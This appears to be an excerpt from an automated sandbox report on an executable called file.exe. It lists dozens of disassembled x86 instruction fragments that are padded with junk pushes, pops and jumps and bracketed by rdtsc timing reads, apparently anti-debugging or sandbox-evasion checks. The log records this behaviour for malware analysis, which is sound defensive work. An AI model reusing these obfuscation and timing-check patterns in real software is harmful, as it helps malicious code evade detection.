Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853962 second address: 85399C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B550CB10Dh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F6B550CB10Dh 0x0000001a jmp 00007F6B550CB10Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85399C second address: 8539B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F6B55D157C6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F6B55D157CCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8539B4 second address: 8539B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8539B8 second address: 853A56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F6B55D157CBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 jo 00007F6B55D157C6h 0x00000019 pop ecx 0x0000001a jnp 00007F6B55D157D7h 0x00000020 jmp 00007F6B55D157D1h 0x00000025 popad 0x00000026 pop eax 0x00000027 movsx ecx, bx 0x0000002a push 00000003h 0x0000002c push ecx 0x0000002d mov cx, di 0x00000030 pop ecx 0x00000031 push 00000000h 0x00000033 jo 00007F6B55D157CCh 0x00000039 add dword ptr [ebp+122D34FAh], eax 0x0000003f push 00000003h 0x00000041 ja 00007F6B55D157C8h 0x00000047 call 00007F6B55D157C9h 0x0000004c push esi 0x0000004d push ebx 0x0000004e jmp 00007F6B55D157D8h 0x00000053 pop ebx 0x00000054 pop esi 0x00000055 push eax 0x00000056 jbe 00007F6B55D157D3h 0x0000005c jmp 00007F6B55D157CDh 0x00000061 mov eax, dword ptr [esp+04h] 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A56 second address: 853A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A5A second address: 853A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853A6E second address: 853AF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jl 00007F6B550CB106h 0x00000015 popad 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007F6B550CB10Ah 0x00000020 pop eax 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F6B550CB108h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000016h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov dword ptr [ebp+122D36B3h], ebx 0x00000041 sbb dl, FFFFFF93h 0x00000044 lea ebx, dword ptr [ebp+12448662h] 0x0000004a mov edx, 52BEDCD1h 0x0000004f xchg eax, ebx 0x00000050 jnp 00007F6B550CB118h 0x00000056 push eax 0x00000057 pushad 0x00000058 jbe 00007F6B550CB108h 0x0000005e push eax 0x0000005f push edx 0x00000060 jbe 00007F6B550CB106h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853AF7 second address: 853AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853BFC second address: 853C9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 35BF26A6h 0x00000010 mov dword ptr [ebp+122D1F1Eh], edx 0x00000016 push 00000003h 0x00000018 mov cl, bh 0x0000001a push 00000000h 0x0000001c jmp 00007F6B550CB119h 0x00000021 push 00000003h 0x00000023 mov dword ptr [ebp+122D2C12h], eax 0x00000029 call 00007F6B550CB109h 0x0000002e push eax 0x0000002f push eax 0x00000030 pushad 0x00000031 popad 0x00000032 pop eax 0x00000033 pop eax 0x00000034 push eax 0x00000035 push esi 0x00000036 pushad 0x00000037 jmp 00007F6B550CB119h 0x0000003c jmp 00007F6B550CB117h 0x00000041 popad 0x00000042 pop esi 0x00000043 mov eax, dword ptr [esp+04h] 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F6B550CB113h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865AEA second address: 865B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F6B55D157D2h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872A1E second address: 872A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872A29 second address: 872A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F6B55D157CAh 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007F6B55D157CDh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872D1D second address: 872D38 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6B550CB106h 0x00000008 jmp 00007F6B550CB111h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872D38 second address: 872D4E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F6B55D157CCh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873140 second address: 87314E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F6B550CB106h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873A31 second address: 873A41 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873A41 second address: 873A4D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6B550CB10Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873BD9 second address: 873BF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873BF0 second address: 873C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87416A second address: 874181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874181 second address: 874199 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F6B550CB106h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F6B550CB10Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87977D second address: 879782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879C26 second address: 879C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F6B550CB106h 0x0000000e jne 00007F6B550CB106h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6B550CB111h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879C51 second address: 879C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878D9A second address: 878DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F6B550CB106h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879ED6 second address: 879F30 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F6B55D157D4h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007F6B55D157D3h 0x0000001b ja 00007F6B55D157C8h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F6B55D157D5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879F30 second address: 879F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EB6D second address: 87EB73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87ECEA second address: 87ECEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EEC9 second address: 87EEE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F31A second address: 87F326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6B550CB106h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F326 second address: 87F334 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F334 second address: 87F345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB10Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F49B second address: 87F4A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F4A3 second address: 87F4A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F4A8 second address: 87F4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6B55D157CFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F61C second address: 87F624 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F624 second address: 87F639 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F6B55D157C6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F639 second address: 87F63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88240F second address: 882413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882B5E second address: 882B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB112h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882B74 second address: 882B86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jnp 00007F6B55D157CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88315E second address: 883195 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B550CB108h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F6B550CB108h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push eax 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b jnc 00007F6B550CB106h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883195 second address: 883199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883260 second address: 88327A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B550CB115h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8837D7 second address: 8837DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883D5B second address: 883D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6B550CB114h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883E45 second address: 883E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6B55D157C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883E4F second address: 883E5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883E5F second address: 883E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885937 second address: 885941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F6B550CB106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 885941 second address: 885958 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F6B55D157D4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F6B55D157C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886AAD second address: 886AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8883C3 second address: 8883C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8883C7 second address: 8883CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8883CB second address: 8883D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8883D4 second address: 888455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB119h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D3334h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F6B550CB108h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 pushad 0x00000031 mov eax, dword ptr [ebp+122D3867h] 0x00000037 movsx eax, si 0x0000003a popad 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F6B550CB108h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push edx 0x0000005b jnc 00007F6B550CB106h 0x00000061 pop edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888455 second address: 88845F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B55D157CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88845F second address: 88846B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888EEF second address: 888F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6B55D157C6h 0x0000000a popad 0x0000000b jmp 00007F6B55D157D4h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888F16 second address: 888F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888F1C second address: 888F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889696 second address: 8896AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88AA6A second address: 88AA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88B965 second address: 88B97D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88AA6E second address: 88AA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BA99 second address: 88BAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bh, EDh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 jmp 00007F6B550CB117h 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f and edi, 467B8402h 0x00000025 mov eax, dword ptr [ebp+122D04E5h] 0x0000002b xor dword ptr [ebp+12474298h], edx 0x00000031 push FFFFFFFFh 0x00000033 mov bl, 0Ah 0x00000035 xor dword ptr [ebp+1246A418h], eax 0x0000003b nop 0x0000003c jc 00007F6B550CB114h 0x00000042 pushad 0x00000043 jnp 00007F6B550CB106h 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C8BC second address: 88C8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C8C0 second address: 88C934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F6B550CB108h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 add bx, 6634h 0x00000029 push 00000000h 0x0000002b mov dword ptr [ebp+122D2B4Bh], edi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F6B550CB108h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d cld 0x0000004e mov edi, dword ptr [ebp+122D3320h] 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jp 00007F6B550CB106h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C934 second address: 88C93A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CA95 second address: 88CA9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CA9C second address: 88CB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D3A23h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov ebx, dword ptr [ebp+12448E29h] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F6B55D157C8h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e xor ebx, dword ptr [ebp+122D3933h] 0x00000044 mov eax, dword ptr [ebp+122D0381h] 0x0000004a pushad 0x0000004b pushad 0x0000004c mov ch, dl 0x0000004e or dword ptr [ebp+122D3710h], ecx 0x00000054 popad 0x00000055 popad 0x00000056 push FFFFFFFFh 0x00000058 xor dword ptr [ebp+1246A57Ch], eax 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push ebx 0x00000062 push edx 0x00000063 pop edx 0x00000064 pop ebx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EADB second address: 88EB02 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6B550CB106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnp 00007F6B550CB106h 0x00000015 jmp 00007F6B550CB111h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB07 second address: 88CB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F8F2 second address: 88F8F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F8F6 second address: 88F901 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8918B1 second address: 8918B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
